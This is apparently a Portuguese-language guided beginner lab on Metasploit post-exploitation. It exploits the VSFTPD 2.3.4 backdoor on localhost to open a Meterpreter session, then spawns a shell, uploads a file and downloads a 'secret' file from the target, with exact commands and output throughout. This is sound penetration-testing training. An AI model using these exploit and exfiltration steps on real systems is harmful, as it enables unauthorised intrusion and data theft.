Pós-Exploração Básica com Metasploit

LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá os fundamentos da pós-exploração utilizando o Metasploit Framework. Primeiro, você obterá acesso inicial explorando um servidor FTP vulnerável para estabelecer uma sessão Meterpreter. Em seguida, passará para a fase de pós-exploração. O objetivo desta fase é explorar o sistema comprometido, elevar privilégios e exfiltrar dados.

Você praticará comandos essenciais do Meterpreter para interagir com uma sessão, executar comandos de shell e transferir arquivos entre a máquina do atacante e a da vítima. Este laboratório o guiará desde o exploit inicial até as técnicas básicas de pós-exploração.

Este é um Laboratório Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para concluir cada etapa e obter experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 88%. Ele recebeu uma taxa de avaliação positiva de 95% dos alunos.

Obter Acesso Inicial

Nesta etapa, você obterá acesso ao sistema alvo explorando um backdoor no serviço VSFTPD 2.3.4. Isso lhe fornecerá uma sessão Meterpreter para a pós-exploração.

Primeiro, inicie o console do Metasploit Framework.

msfconsole -q

Assim que o Metasploit estiver em execução, selecione o exploit para o backdoor do VSFTPD 2.3.4.

use exploit/unix/ftp/vsftpd_234_backdoor

Agora, configure as opções do alvo e do payload. Como o serviço está rodando na mesma máquina, usaremos o IP de loopback. O payload padrão requer LHOST e pode falhar com a mensagem "All encoders failed to encode" - defina o encoder para evitar isso:

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

Por fim, execute o exploit.

exploit

SOLUÇÃO DE PROBLEMAS: Se você vir Msf::OptionValidateError One or more options failed to validate: LHOST, execute set LHOST 127.0.0.1. Se você vir All encoders failed to encode, execute set Encoder generic/none. Em seguida, execute exploit novamente.

AVISO: A primeira tentativa pode falhar com "Unable to connect to backdoor on 6200/TCP. Cooldown?" ou "Exploit completed, but no session was created." Se isso acontecer, basta executar o comando exploit novamente - a segunda tentativa deve ter sucesso.

Se for bem-sucedido, uma sessão Meterpreter será aberta (sessão 1).

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Agora você tem uma sessão Meterpreter. Para retornar ao prompt msf > para a próxima etapa, pressione Ctrl+Z e depois y quando for perguntado "Background session 1?".

Interagir com a Sessão Meterpreter

Agora que você tem uma sessão Meterpreter em segundo plano, aprenderá como interagir com ela. O comando sessions lista todas as sessões ativas e funciona apenas no prompt principal do Metasploit (msf exploit(...) >), não dentro do Meterpreter.

Para ver suas sessões ativas, execute:

sessions

Você deverá ver sua sessão Meterpreter com o ID 1.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Para interagir com a sessão 1, execute:

sessions -i 1

Seu prompt mudará para meterpreter >, indicando que você agora está dentro da sessão.

[*] Starting interaction with 1...

meterpreter >

Você está pronto para executar comandos de pós-exploração a partir do Meterpreter.

Executar Comando de Shell com o comando shell

Dentro do Meterpreter, você pode acessar um shell de sistema padrão para executar comandos no alvo. Isso é útil quando você precisa executar comandos ou scripts específicos do shell.

No prompt meterpreter >, digite:

shell

Um shell padrão será aberto no alvo remoto. O prompt pode parecer travar brevemente, mas você já está em um shell de sistema e pode executar comandos diretamente.

Process 1654 created.
Channel 1 created.

Execute whoami para confirmar seu contexto de usuário:

whoami
labex

Digite exit para retornar ao prompt do Meterpreter.

exit

Seu prompt voltará para meterpreter >. Na próxima etapa, você usará esta sessão para fazer upload de um arquivo para o alvo.

Fazer Upload de Arquivo com upload /caminho/local /caminho/remoto

O comando upload do Meterpreter transfere arquivos da sua máquina local para o alvo. Um arquivo chamado local_file.txt está em /home/labex/project. Faça o upload dele para /tmp na máquina remota.

No prompt meterpreter >, execute:

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

Você verá uma saída confirmando o upload:

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

Neste laboratório, o alvo roda na mesma máquina, portanto o arquivo aparece em /tmp/uploaded_file.txt. Em seguida, você praticará a operação inversa: baixar um arquivo do alvo.

Baixar Arquivo com download /caminho/remoto /caminho/local

O comando download transfere arquivos do alvo para sua máquina local. Um arquivo chamado secret_data.txt está em /tmp no sistema remoto. Baixe-o para o seu diretório de projeto.

No prompt meterpreter >, execute:

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

Você verá uma saída confirmando o download. O Meterpreter pode criar um diretório chamado downloaded_secret.txt e colocar o arquivo dentro dele como secret_data.txt.

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

O arquivo agora está na sua máquina local. Na etapa final, você fechará a sessão e verificará o conteúdo baixado.

Encerrar Sessão com o comando exit

Nesta etapa final, você fechará a sessão Meterpreter e sairá do console do Metasploit.

No prompt meterpreter >, digite exit para fechar a sessão.

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Para sair do console do Metasploit, digite exit. Se for perguntado sobre uma sessão ativa, use exit -y para forçar a saída.

exit -y

Verifique o arquivo baixado. Como observado anteriormente, o Meterpreter pode ter criado um diretório; o arquivo está em downloaded_secret.txt/secret_data.txt:

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

Parabéns! Você concluiu um fluxo de trabalho completo de exploit e pós-exploração.

Resumo

Neste laboratório, você aprendeu um fluxo de trabalho completo, desde o acesso inicial até a pós-exploração. Você começou obtendo uma sessão Meterpreter através de um exploit. Praticou como listar e interagir com sessões, obter um shell de sistema padrão a partir do Meterpreter e dominou a transferência de arquivos entre a máquina do atacante e a da vítima usando os comandos upload e download. Por fim, aprendeu como fechar corretamente uma sessão e sair do console do Metasploit. Essas habilidades são fundamentais para testes de penetração.